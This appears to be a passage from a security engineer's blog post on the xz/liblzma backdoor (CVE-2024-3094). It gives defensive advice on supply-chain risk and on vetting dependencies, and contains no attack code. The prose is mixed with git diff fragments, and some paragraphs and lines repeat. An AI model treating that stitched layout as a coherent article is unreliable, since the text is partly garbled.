    As I said at the beginning of the post, I don’t want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only an archive available the informations are incomplete and I really don’t want to reverse the xz binary. Also, and this is the more important reasons, people more knowledgeable than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resources section below.

    One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong.

    Note
    TL;DR: there isn’t an actual solution

    https://imgs.xkcd.com/comics/dependency_2x.png

    xz is a software mainteined (up until 2023) by 1 single guy. Later another maintainer joined but unfortunately for us, it was the same guy pushing the backdoor to upstream. @@ -26,6 +26,6 @@ When talking about supply chain security the reccomendations are always the same: pin the hashes and use signature verification. This will work as long as you have scenarios like a malicious attacker compromising the dependency CICD and pushing a malicious build, account compromissions etc.

    But what can you do if all of a sudden, trusted maintainers goes rogue?

    As a standard user, unless you want (and are able to) code review every single commit from every single piece of software your OS interact with: pretty much nothing.

    On the other hand, developers and repository owners should really increase controls on their supply chain and include strict metrics to exclude high risk packages. One of the biggest gimmicks of Open Source security is people beliving that since the source code is available the code magically became safe.

    One critical factor often overlooked is the assumption that having access to the source code automatically translates into a larger pool of eyes scrutinizing it for vulnerabilities.

    The effectiveness of this review process depends on the level of community engagement and the expertise of those inspecting the code, and usually is not much at all. Many projects receive minimal attention from developers, with only a handful of individuals actively contributing or reviewing code changes. As a result, vulnerabilities (intentional or not) may go unnoticed for extended periods, posing significant security risks to users.

    Every time a discussion like that appears I always remember the InfosectCBR’s “Month of Kali” where Silvio Cesare spent a month popping vulnerabilities on Kali Linux software.

    But which factors could contribute on minimizing the risks?

    Just to be clear from the beginning: No, you can’t trust this kind of metrics.

    There is an hidden market of buying and selling GitHub stats like stars, forks etc. You can read a nice article here: https://dagster.io/blog/fake-stars

    Evaluate the size and engagement of the community surrounding the project.

    A large and active community can provide additional eyes for reviewing code, reporting bugs, and addressing security issues promptly. xz/liblzma had litterally 2 maintainers and one was the malicious actor.

    Consider whether the project receives financial support or sponsorship from reputable organizations. Projects with dedicated funding tend to have more resources available for security audits and ongoing maintenance. -And also are less likely to be completely abandoned.

    Tip
    Remember: you want to rely on that dependency for the whole week, not only during the maintainer’s freetime, projects with a nice financial support will likely be full-time jobs and not just hobbies.

    A good portion of the evaluation should also focus on the SDLC to e ensure security (and quality in general) gates are correcly implemented, approvals on PRs are mandatory and there are healthy practices in place to prevent one single contributor to push malicious code without approval.

    Also take in considerations that we are humans, and we make errors. Passing a code review doesn’t mean the code is safe, as I said before: there is no real solution, just ways to decrease the probablity for the bad stuff to happen.

    This is a controversial topic because there are projects that are maintained by individuals that are well structured but usually relying on (large) enterprise projects will ensure their SDLC best practices are followed, money are keeping the project alive, and a big company is less likely to go all in and backdoor their project on purpose. Again, this just increases the probablity, don’t take it for granted ;)

    The project you are including will probably also have dependencies, make sure the same scrutiny is applied by the project maintainers on their supply chain to avoid indirect compromission.

    Updated on 2024-03-31  -00a5b08
    Read markdown
     Backdoor, CVE-2024-3094, Xz, Liblzma, Supply-Chain, Security-Engineering
    Back | Home
    +And also are less likely to be completely abandoned.

    Tip
    Remember: you want to rely on that dependency for the whole week, not only during the maintainer’s freetime, projects with a nice financial support will likely be full-time jobs and not just hobbies.

    A good portion of the evaluation should also focus on the SDLC to e ensure security (and quality in general) gates are correcly implemented, approvals on PRs are mandatory and there are healthy practices in place to prevent one single contributor to push malicious code without approval.

    Also take in considerations that we are humans, and we make errors. Passing a code review doesn’t mean the code is safe, as I said before: there is no real solution, just ways to decrease the probablity for the bad stuff to happen.

    This is a controversial topic because there are projects that are maintained by individuals that are well structured but usually relying on (large) enterprise projects will ensure their SDLC best practices are followed, money are keeping the project alive, and a big company is less likely to go all in and backdoor their project on purpose. Again, this just increases the probablity, don’t take it for granted ;)

    The project you are including will probably also have dependencies, make sure the same scrutiny is applied by the project maintainers on their supply chain to avoid indirect compromission.

    Updated on 2024-03-31  +511d6de
    Read markdown
     Backdoor, CVE-2024-3094, Xz, Liblzma, Supply-Chain, Security-Engineering
    Back | Home
    \ No newline at end of file diff --git a/posts/xz-backdoor/index.md b/posts/xz-backdoor/index.md index 14677c6..a5cf947 100644 --- a/posts/xz-backdoor/index.md +++ b/posts/xz-backdoor/index.md @@ -52,7 +52,7 @@ Distributions: - [SUSE Tumbleweed](https://news.opensuse.org/2024/03/29/xz-backdoor/) - [Kali Linux](https://infosec.exchange/@kalilinux/112180505434870941) -The backdoored package is also contained in the following package managers: +The backdoored package is also contained in the repositories of following package managers: - Homebrew - MacPorts - pkgsrc diff --git a/sitemap.xml b/sitemap.xml index 5719742..01dbf7a 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -1 +1 @@ -https://appsec.space/en/sitemap.xml2024-03-31T11:33:45+02:00https://appsec.space/it/sitemap.xml2024-03-31T11:33:45+02:00 \ No newline at end of file +https://appsec.space/en/sitemap.xml2024-03-31T11:41:00+02:00https://appsec.space/it/sitemap.xml2024-03-31T11:41:00+02:00 \ No newline at end of file diff --git a/tags/backdoor/index.xml b/tags/backdoor/index.xml index a84f155..e054900 100644 --- a/tags/backdoor/index.xml +++ b/tags/backdoor/index.xml @@ -66,7 +66,7 @@ He was optimizing his infrastructure and found that ssh was suspiciously slow.
  • SUSE Tumbleweed
  • Kali Linux
    • -

    The backdoored package is also contained in the following package managers:

    +

    The backdoored package is also contained in the repositories of following package managers:

    -

    The backdoored package is also contained in the following package managers:

    +

    The backdoored package is also contained in the repositories of following package managers:

    -

    The backdoored package is also contained in the following package managers:

    +

    The backdoored package is also contained in the repositories of following package managers:

    -

    The backdoored package is also contained in the following package managers:

    +

    The backdoored package is also contained in the repositories of following package managers:

    -

    The backdoored package is also contained in the following package managers:

    +

    The backdoored package is also contained in the repositories of following package managers:

    -

    The backdoored package is also contained in the following package managers:

    +

    The backdoored package is also contained in the repositories of following package managers: